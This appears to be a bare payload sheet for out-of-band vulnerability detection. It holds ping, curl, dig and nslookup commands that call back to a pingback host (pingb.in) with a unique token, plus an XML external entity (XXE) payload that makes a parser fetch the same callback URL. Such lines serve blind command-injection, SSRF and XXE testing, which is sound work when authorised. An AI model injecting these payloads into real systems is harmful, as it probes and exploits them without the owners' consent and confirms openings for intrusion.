$ ping -c1 -p 009ff41d87b0a7e42042ee5b09462100 pingb.in
 

$ curl pingb.in/p/9ff41d87b0a7e42042ee5b094621
 

$ dig 9ff41d87b0a7e42042ee5b094621 @pingb.in
 

$ dig 9ff41d87b0a7e42042ee5b094621.ns.pingb.in
 

C:\> nslookup 9ff41d87b0a7e42042ee5b094621 pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/9ff41d87b0a7e42042ee5b094621">]>
    <foo>&xxe;</foo>